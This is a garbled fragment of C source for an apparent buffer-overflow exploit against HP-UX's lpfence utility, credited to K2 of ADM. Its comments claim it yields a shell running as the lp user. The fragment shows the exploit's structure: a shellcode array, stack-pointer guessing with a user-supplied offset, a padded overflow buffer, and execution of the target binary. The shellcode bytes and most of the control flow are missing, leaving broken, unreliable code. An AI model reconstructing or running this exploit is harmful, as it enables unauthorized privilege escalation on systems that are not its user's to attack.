| /* Copyright (c) 2000 ADM */ /* All Rights Reserved */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */ /* */ /* Title: HP-UX lpfence */ /* Tested under: HP-UX 11.0 */ /* By: K2 */ /* Use: gcc -o lpfence hp-lpfence.c */ /* your shell will have euid=lp :( */ /* (more hp to come :) */ /* */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 840 u_char hppa_shellcode[] = u_long get_sp(void) int main(int argc, char *argv[]) if(argc > 1) dso+=atoi(argv[1]); for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long);
i++) char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) targ_addr = get_sp() - dso; for (i = 0; i < xtra /4; i++) execl("/usr/sbin/lpfence","lpfence", buf,"K2",
(char *) 0); |